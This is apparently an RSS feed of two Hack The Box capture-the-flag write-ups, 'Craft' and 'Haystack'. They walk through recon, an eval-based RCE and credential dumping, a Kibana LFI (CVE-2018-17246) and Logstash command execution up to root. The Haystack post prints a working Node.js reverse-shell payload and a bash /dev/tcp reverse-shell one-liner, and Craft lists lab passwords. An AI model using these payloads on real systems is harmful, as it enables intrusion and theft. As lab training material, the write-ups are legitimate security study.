<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kush Sharma on Medium]]></title>
        <description><![CDATA[Stories by Kush Sharma on Medium]]></description>
        <link>https://medium.com/@kushsharma-17983?source=rss-318eb5e03b57------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2wBmNKEXR4cc_eFdom-RJA.png</url>
            <title>Stories by Kush Sharma on Medium</title>
            <link>https://medium.com/@kushsharma-17983?source=rss-318eb5e03b57------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 18:06:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kushsharma-17983/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Craft]]></title>
            <link>https://kushsharma-17983.medium.com/craft-929c511f12a?source=rss-318eb5e03b57------2</link>
            <guid isPermaLink="false">https://medium.com/p/929c511f12a</guid>
            <dc:creator><![CDATA[Kush Sharma]]></dc:creator>
            <pubDate>Sat, 04 Jan 2020 15:10:17 GMT</pubDate>
            <atom:updated>2020-01-04T15:10:17.666Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hack The Box</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*lUXdXudMVdVDOHFjIl067g.png" /><figcaption><strong>https://www.hackthebox</strong><a href="https://www.hackthebox.eu/home"><strong>.</strong></a><strong>eu/home</strong></figcaption></figure><h3><strong>[+] Summary</strong></h3><p><strong>Craft</strong> is a medium Linux based box, it requires a lot of enumeration. While doing enumeration I found the leaked credentials and a python file, using which I was able to get the shell which is a docker container.I found the two python files in it , using which I got some extra credentials and was able to login into<em> gogs server</em>. There I found <em>SSH private RSA key</em> through which I was able to get the shell and the user flag. PrivEsc was easy,in which we have to deal with the <em>vault server</em>.</p><h3><strong>[+] Reconnaissance &amp; Enumeration</strong></h3><p><em>We will start with basic nmap scan :-</em></p><pre># Nmap 7.70 scan initiated Sun Jul 14 07:35:16 2019 as: nmap -sC -sV -oA nmap.nmap 10.10.10.110<br>Nmap scan report for 10.10.10.110<br>Host is up (1.4s latency).<br>Not shown: 998 closed ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)<br>| ssh-hostkey: <br>| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)<br>| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)<br>|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)<br>443/tcp open ssl/http nginx 1.15.8<br>|_http-server-header: nginx/1.15.8<br>|_http-title: About<br>| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US<br>| Not valid before: 2019–02–06T02:25:47<br>|_Not valid after: 2020–06–20T02:25:47<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_ http/1.1<br>| tls-nextprotoneg: <br>|_ http/1.1<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>So nmap tells us the following information :-</p><p>Port 22 → SSH Server</p><p>Port 443 → Web Server running on <em>nginx</em></p><p>So, let’s start enumerating the website on port 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyzOQWlvP632K1yA3wDWnQ.png" /><figcaption><strong>Website on port 443( </strong><a href="https://10.10.10.110/"><strong>https://10.10.10.110:443</strong></a><strong> )</strong></figcaption></figure><p>On right hand side corner we will see that there are two options <strong>API </strong>and a symbol.</p><p>On clicking them I got the two urls.</p><pre><a href="https://gogs.craft.htb/">https://gogs.craft.htb/</a></pre><pre><a href="https://api.craft.htb/api/">https://api.craft.htb/api/</a></pre><p>So, these URL were looking like the subdomains of the the <a href="https://gogs.craft.htb/"><strong>craft.htb,</strong></a><strong> </strong>so I added them in the <em>/etc/hosts </em>file and on browsing them it was giving output like this.</p><pre>10.10.10.110    craft.htb api.craft.htb gogs.craft.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1MMwDlq34TCVeU9dX1iZQ.png" /><figcaption><a href="https://api.craft.htb/api/"><strong>https://api.craft.htb/api/</strong></a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J2Qo2ew7CPcofdD3_QcDQw.png" /><figcaption><a href="https://gogs.craft.htb/"><strong>https://gogs.craft.htb/</strong></a></figcaption></figure><p>So, the first one simply shows how to use their <strong>API </strong>and second one is related to <strong>Gogs</strong>. (Gogs is a self hosted git service)</p><h3>Gogs Version</h3><pre>2018 Gogs Version: 0.11.86.0130</pre><p>So on little recon, I found an <em>Explore</em> tab and inside it I found a repository.</p><p>Inside it, I found an issue was there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*d0qxYAvcGosUZXfHZx9QDA.png" /><figcaption><a href="https://gogs.craft.htb/Craft/craft-api/issues/2"><strong>https://gogs.craft.htb/Craft/craft-api/issues/2</strong></a></figcaption></figure><p>I looked into the public activity of <em>Dinesh </em>there was a patch to the above vulnerability being pushed and found a file <strong>test.py , </strong>this file was leaking the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*IfUu7MrlsjlrV7qr6dZxtg.png" /><figcaption><strong>Credential leaked</strong></figcaption></figure><p>If we notice there was also a fix on above vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*1xW1RGLRSmvi_JsPm6J0tg.png" /><figcaption><strong>Fix being done by the Dinesh</strong></figcaption></figure><p>But if we see the fix, there is a potential RCE function (<em>eval</em>) being added and we can exploit it to get the RCE.</p><h3>[+] Exploitation</h3><p>I just copied the content of test.py and made some alteration in it to get the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBQsJV9DQOK9kXxvyFjhfg.png" /><figcaption><strong>Added rev-shell payload in the <em>abv</em></strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ziuJCWZXTBovCKs9in6lQ.png" /><figcaption><strong>reverse shell</strong></figcaption></figure><p>The “<em>uname -a”</em> result confirms that we are in the docker container.</p><pre>/opt/app # uname -a<br>Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux</pre><p>I again started doing recon and found two files:-</p><pre>dbtest.py  &amp; models.py</pre><p>&gt; Models.py file contained two tables:-</p><pre>User &amp; Brew</pre><p>&gt; dbtest.py file was executing our SQL queries, hence we can play with that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*RVhULHHC6yPO7RBFEBm94A.png" /><figcaption><strong>We see here that query is being fired here, hence we can input our own queries to get the result</strong></figcaption></figure><p>Since it was tough to put the query every time in the file, so I made some changes in <em>dbtest.py </em>and our work could be done more smoothly.</p><pre>#!/usr/bin/env python</pre><pre>import pymysql<br>import os, sys</pre><pre># test connection to mysql database</pre><pre>connection = pymysql.connect(host=&#39;db&#39;,<br>                             user=&#39;craft&#39;,<br>                             password=&#39;qLGockJ6G2J75O&#39;,<br>                             db=&#39;craft&#39;,<br>                             cursorclass=pymysql.cursors.DictCursor)</pre><pre>try: <br> with connection.cursor() as cursor:<br>  sql = sys.argv[1]<br>  cursor.execute(sql)<br>  result = cursor.fetchone()<br>  print(result)<br>  print(os.uname())</pre><pre>finally:<br> connection.close()</pre><p>With this we have to put out query as a <em>cmd</em> <em>argument</em> and it gets executed.</p><pre>/opt/app # python dbtest.py &quot;select * from user where id between 1 and 20&quot; [{&#39;id&#39;: 1, &#39;username&#39;: &#39;dinesh&#39;, &#39;password&#39;: &#39;4aUh0A8PbVJxgd&#39;}, {&#39;id&#39;: 4, &#39;username&#39;: &#39;ebachman&#39;, &#39;password&#39;: &#39;llJ77D8QFkLPQB&#39;}, {&#39;id&#39;: 5, &#39;username&#39;: &#39;gilfoyle&#39;, &#39;password&#39;: &#39;ZEU3N8WNM2rh4T&#39;}]</pre><p>So I came across usernames and there corresponding passwords</p><p>I tried one by one to log into gogs and one of them worked</p><pre>&#39;username&#39;: &#39;gilfoyle&#39;, &#39;password&#39;: &#39;ZEU3N8WNM2rh4T&#39;</pre><p>So , I made a login and found SSH private keys and I was like boom gotcha.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yNcERXKR79e24Uw5I2D-zQ.png" /><figcaption><strong>Leaked SSH keys</strong></figcaption></figure><p>I used them and made a login to the shell with username <em>gilfoyle(and with the same password).</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50c5fmalrx96DnPCJhjrog.png" /><figcaption><strong>gilfoyle shell</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*1K9tA55lMnSOMLpKSClrSQ.png" /><figcaption><strong>And I got the user flag</strong></figcaption></figure><h3>[+] ROOT</h3><p>In the image above there is a <em>.vault-token</em></p><p>If we do cat on it, we see :-</p><pre>cat .vault-token<br>f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9</pre><p>So this is a one time token used to login into vault server.</p><p>I took help of the following blog post</p><pre><a href="https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html">https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html%E2%80%8B</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*r8fco0gJFNx0HD98phhipA.png" /><figcaption><strong>I got the OTP for the session</strong></figcaption></figure><p>Using it I got the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*OxfttIGn7I-c57sAYn4n7g.png" /><figcaption><strong>root shell</strong></figcaption></figure><h3>Thanks for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=929c511f12a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Haystack]]></title>
            <link>https://kushsharma-17983.medium.com/haystack-5faa911c4650?source=rss-318eb5e03b57------2</link>
            <guid isPermaLink="false">https://medium.com/p/5faa911c4650</guid>
            <dc:creator><![CDATA[Kush Sharma]]></dc:creator>
            <pubDate>Sat, 02 Nov 2019 15:02:27 GMT</pubDate>
            <atom:updated>2019-11-02T15:02:27.782Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box</h3><p><a href="https://www.hackthebox.eu/home/machines/profile/195">https://www.hackthebox.eu/home/machines/profile/195</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*_QmujNTDnZXwuGMuKSR8Jw.png" /><figcaption><strong>This post is a write-up for the Haystack box on </strong><a href="https://www.hackthebox.eu/home/machines/profile/195"><strong>hackthebox.eu</strong></a></figcaption></figure><p><strong>Let’s start enumerating the box , with the port scan</strong></p><p><em># Nmap 7.70 scan initiated Sun Jun 30 00:33:22 2019 as: nmap -sC -sV -oA nmap.nmap 10.10.10.115<br>Nmap scan report for 10.10.10.115<br>Host is up (0.59s latency).<br>Not shown: 997 filtered ports<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 7.4 (protocol 2.0)<br>| ssh-hostkey: <br>| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)<br>| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)<br>|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)<br>80/tcp open http nginx 1.12.2<br>|_http-title: Site doesn’t have a title (text/html).<br>9200/tcp open http nginx 1.12.2<br>| http-methods: <br>|_ Potentially risky methods: DELETE<br>|_http-server-header: nginx/1.12.2<br>|_http-title: Site doesn’t have a title (application/json; charset=UTF-8)</em></p><p>So running nmap is telling us the following information:-</p><p>Port 22 -&gt; SSH Server</p><p>Port 80 -&gt; Web Server running on nginx</p><p>Port 9200-&gt; Another Web Server running on nginx</p><p>So, if we browse the site on port 80 , we see an image of needle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*LJbCCBZLc9_A9DWF4oZI7Q.png" /><figcaption><strong>Image on the main page</strong></figcaption></figure><p>When we download and run the <em>strings </em>command on the image we see that there is a base64 encoded string at the end.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wAjjkpJZnbrXlgWANNiKEQ.png" /><figcaption><strong>Base64 encoded string in the end</strong></figcaption></figure><p>If we decode the base64 encoded string we get a Spanish phrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DSgrcbXOoJC6Z5DWcn4vw.png" /><figcaption><strong>Base64 decoded string</strong></figcaption></figure><p>On translating this string we get this :-</p><pre><em>the needle in the haystack is &quot;key</em></pre><p>If we try to enumerate more on this page, we get nothing else of interest</p><p>Now switching to web service at port 9200. There is json page on response from <em>Elasticsearch</em> server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZDoaG_r9p9js6WDauByAA.png" /><figcaption><strong>Json response from Elasticseach</strong></figcaption></figure><p>Now, since we know that there is Elasticsearch associated,so I looked for it’s documentation in there main page and came to know about there API <strong>_search</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u35EshjbHiblhsvv6HGvMg.png" /><figcaption><strong>_search API</strong></figcaption></figure><p>Now, if we look back we will see that we have also got a string like this.</p><pre><em>the needle in the haystack is &quot;key</em></pre><p>So, we can interpret that we have to search for key in the whole stack. So I did this in the browser.</p><p><strong><em>haystack.htb:9200/_search?q=clave</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ux-iMqx7BKZ0PIEk4O5ejA.png" /><figcaption><strong>So this is response we get</strong></figcaption></figure><pre>&quot;Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg&quot;</pre><pre>&quot;Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=&quot;</pre><p>So, these are the two strings we got ( they both are in Spanish) and on translating it we get this.</p><p>“<em>I have to keep the password for the machine: dXNlcjogc2VjdXJpdHkg</em>”</p><p>“<em>This key can not be lost, I keep it here: cGFzczogc3BhbmlzaC5pcy5rZXk=</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*UzINURHQLxJptxOkzvR5Qg.png" /><figcaption><strong>So they both were base64 encoded and we get this on decrypting them</strong></figcaption></figure><p>Now, we have username and password . Hence we can make a login to SSH .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yopoJemloFM-Lrk2T0cdiQ.png" /><figcaption><strong>Logging in via SSH and getting the user flag</strong></figcaption></figure><h3>Elevating privileges</h3><p>Now we have logged in as security user, so on enumerating the box we see that there is a <em>Kibana, </em>running on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lws7ae1w_A604KTibLyVA.png" /><figcaption><strong>Process listing shows that Kibana is running on the system</strong></figcaption></figure><p>Kibana is an open source data visualization plugin for Elasticsearch</p><p>Since Kibana service is running on the system,so there must be some port associated with it.</p><p>So, on doing <strong>netcat </strong>I found that it is not installed in the system. Hence I wrote the script to see if there are any more open ports on the localhost interface.</p><pre>import socket<br><br>for p in range(65536):<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    r = s.connect_ex((&#39;localhost&#39;, p))<br>    if r == 0:<br>        print(&#39;Port &#39; + str(p) + &#39; is open&#39;)<br>        s.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PA9TMLc-2HbGjB-ymHguCw.png" /><figcaption><strong>running that script on htb machine gave me this output</strong></figcaption></figure><p>Hence, it is confirmed that Kibana service is running and on which port.</p><p>Now let’s port forward it to our local machine to see further</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*qvyt_lrhimywsJEyaowEHg.png" /><figcaption><strong>Port forwarding to our local machine</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2k1GU9qDvPSsTNtbiHyG1g.png" /><figcaption><strong>Main screen for the Kibana</strong></figcaption></figure><p>So, if we go to management tab we will see that the version of Kibana is <strong>Version: 6.4.2 </strong>and on looking forward to it in google we will see that it is subject to LFI.</p><p><a href="https://github.com/mpgn/CVE-2018-17246">https://github.com/mpgn/CVE-2018-17246</a></p><p>So there is a reverse shell payload,which we can we can include it via LFI.</p><pre>(function(){<br>    var net = require(&quot;net&quot;),<br>        cp = require(&quot;child_process&quot;),<br>        sh = cp.spawn(&quot;/bin/sh&quot;, []);<br>    var client = new net.Socket();<br>    client.connect(8089, &quot;10.10.14.26&quot;, function(){<br>        client.pipe(sh.stdin);<br>        sh.stdout.pipe(client);<br>        sh.stderr.pipe(client);<br>    });<br>    return /a/; // Prevents the Node.js application form crashing<br>})();</pre><p>We could put this payload inside our machine and do curl to get the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KOTJd8hlNfZQ0JPLHjJMlA.png" /><figcaption><strong>Getting the shell as Kibana</strong></figcaption></figure><h3><strong>Let’s hunt for root</strong></h3><p>On enumerating the box, I found that there Logstash is running as root. Logstash is another product by Elastic</p><p>So Logstash is used for data collection and pipe lining from various sources.</p><p>Logstash pipeline consists of 3 stages:-</p><p><strong>Input → Filter → Output</strong></p><p>Input</p><ul><li>generate events by for example reading a log file</li></ul><p>Filters</p><ul><li>intermediary processing of events such as transformations</li></ul><p>Outputs</p><ul><li>dispatch the filtered events to some output</li></ul><p>In /etc/logstash/conf.d we see that there are 3 files as the same name above.</p><p>So let’s take a look at these files one by one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*T9cpc50lnYCU7HChF8Qx9A.png" /><figcaption><strong>Input.conf file</strong></figcaption></figure><p>So , it is using <strong>file input </strong>plugin which is capable of generating events by reading files. If we look at the path variable, then we can say that it is reading the file of name starting with <strong>logstash_ </strong>in the /opt/kibana directory.</p><p>The <strong>stat_interval </strong>tells that it is reading file at the interval of every 10 seconds.</p><p>And each event generated by reading is tagged with type of “execute”.</p><p>Now looking at filter.conf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*qcfRqRhboY-drVkwZ_RtLg.png" /><figcaption><strong>Filter.conf</strong></figcaption></figure><p>So, this is using <strong>grok </strong>plugin . This plugin is used to match the data passed from the input stage and put in into structured form.</p><p>Well, now any data that is been read by the input plugin is passed to match the pattern which is given at the <strong>message</strong> .</p><p>Let’s understand the pattern of the message:-</p><blockquote><strong>Ejecutar →</strong>The content of file should start with this.</blockquote><blockquote>“<strong>\s</strong>” means the white space, and “\s” is present with *, which means that there can be 0 or more white space.</blockquote><blockquote><strong>comando →</strong> is a literal</blockquote><blockquote>“<strong>\s</strong>” is again present with * which means that there should be 0 or more white spaces.</blockquote><blockquote>“<strong>\s+</strong>” → Here \s is white space and + represent that there should be atleast one white space.</blockquote><blockquote><strong>%{GREEDYDATA:comando}</strong> →So basically it is known as named capture group in regular expressions. So named capture groups look for data and put them in the variable.</blockquote><p>Hence at last the final command is:-</p><p><strong>Ejecutar comando :</strong> <strong>&lt;command_to_execute&gt;</strong></p><p>OK, so now let’s move to the last file where the filter passes it contents</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-oPAVmA5oNobuympaDijg.png" /><figcaption><strong>output.conf</strong></figcaption></figure><p>So, at first it is verifying the type, if the type is of tag “execute” then it would move forward else it will not.</p><p>Output file is using 2 plugins, stdout and exec</p><p>stdout :- this plugin tells us about the output that is to be presented to output screen. Here in the above the output would be of json format.</p><p>exec :- this plugin executes the command which it sees in command variable.</p><p>Now, we have covered all the 3 files functionality.</p><p>Let&#39;s look how we can use this file to get the root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E22Gcl2xYNzQr1XlA6whZg.png" /><figcaption><strong>logstash is running as root in background</strong></figcaption></figure><p>If we see our background process we will see that, logstash is running as root and also <strong>/opt/kibana</strong> is writable ( from where <strong>input.conf</strong> is fetching the content)</p><p>Now, what we can do is create file <strong>logstash_k</strong>(logstash_*), so that input.conf could read the content from it.</p><p>echo “Ejecutar comando: bash -i &gt;&amp; /dev/tcp/&lt;ip&gt;/&lt;port&gt; 0&gt;&amp;1” &gt; logstash_k.</p><p>So , what would happen is that the content would be read through input, filtered through filter.conf and output would be through output.conf.</p><p>So output.conf will trigger the shell and would give us the shell as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suPmYqfAHRHRWSuSddiIbg.png" /><figcaption><strong>Root shell</strong></figcaption></figure><blockquote><strong>Thanks for reading</strong></blockquote><p><strong>HackTheBox Profile Link :-</strong></p><p><a href="https://www.hackthebox.eu/home/users/profile/67447"><em>https://www.hackthebox.eu/home/users/profile/67447</em></a></p><p><strong><em>I have created an Auto-pwn script for this box, this would help to get the root of the box directly.</em></strong></p><pre><a href="https://github.com/kush9408/Autopwn-Scripts">https://github.com/kush9408/Autopwn-Scripts</a></pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5faa911c4650" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>